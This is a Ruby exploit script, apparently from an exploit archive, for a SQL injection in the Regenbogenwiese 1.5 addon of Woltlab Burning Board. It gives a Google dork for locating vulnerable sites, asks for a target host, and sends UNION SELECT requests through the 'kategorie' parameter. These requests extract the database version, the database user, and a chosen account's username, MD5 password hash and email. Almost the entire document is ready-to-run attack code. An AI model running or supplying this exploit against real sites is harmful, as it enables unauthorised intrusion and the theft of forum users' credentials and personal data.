# Exploit Title: Woltlab Burning Board Regenbogenwiese 2007 Addon SQL Injection Exploit
# Google Dork: inurl:regenbogenwiese.php wbb (and more)
# Date: 04.09.2013
# Exploit Author: Easy Laster
# Software Name: Regenbogenwiese v1.5 © 2007 by DieKrabbe
# Version: 1.5
# Tested on: Windows 8/Backtrack
#
#!/usr/bin/ruby
#secunet.cc
#30.07.2013
#regenbogenwiese.php?kategorie='+union+select
#+1,1,1,1,1,1,concat(database(),0x3a,user(),0x
#3a,userid,0x3a,password,0x3a,username,0x3a,em
#ail),1,1,1,1,1,1,1,1+bb1_users+where+userid=1--+
#Discovered and Vulnerability by Easy Laster
print "
################################################################
# secunet.cc #
################################################################
#PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT#
#Woltlab Burning Board Regenbogenwiese 2007 Addon SQL Injection#
# (regenbogenwiese.php, kategorie param) #
# Exploit #
# Using Host+Path+id #
# www.demo.de + /wbb/ + or + / + 1 #
# Easy Laster #
#PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT#
################################################################
"
require 'net/http'
block = "################################################################"
print ""+ block +""
print "\nEnter Target Name (site.com)->"
host=gets.chomp
print ""+ block +""
print "\nEnter Script Path (/wbb/ or /)->"
path=gets.chomp
print ""+ block +""
print "\nEnter The ID From User (id)->"
userid=gets.chomp
print ""+ block +""
begin
dir = "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,concat(0x27,0x7e,"+
"0x27,version(),0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users+where+userid="+
""+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nVersion Database -> "+(/'~'(.+)'~'/).match(resp.body)[1]
dir = "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,conc"+
"at(0x27,0x7e,0x27,user(),0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users"+
"+where+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nDatabase User -> "+(/'~'(.+)'~'/).match(resp.body)[1]
dir = "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,concat"+
"(0x27,0x7e,0x27,userid,0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users+wh"+
"ere+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nID Account -> "+(/'~'(.+)'~'/).match(resp.body)[1]
dir = "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,concat"+
"(0x27,0x7e,0x27,username,0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users+w"+
"here+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nUsername Account -> "+(/'~'(.+)'~'/).match(resp.body)[1]
dir = "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,concat"+
"(0x27,0x7e,0x27,password,0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users+w"+
"here+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nPassword Account MD5 -> "+(/'~'(.+)'~'/).match(resp.body)[1]
dir = "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,conc"+
"at(0x27,0x7e,0x27,email,0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users+"+
"where+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nEmail Adresse Account -> "+(/'~'(.+)'~'/).match(resp.body)[1]
print "\n"
print ""+ block +""
print "\n"
print "
################################################################
# Greetings #
################################################################
-#------------------------+ | | #---------------------+
-#------------------------+ _|_|_ #---------------------+
-#------------------------+ (o o) #---------------------+
-#------------------------+ooO--(_)--Ooo-#---------------------+
################################################################
"
rescue
print "\nExploit Failed"
end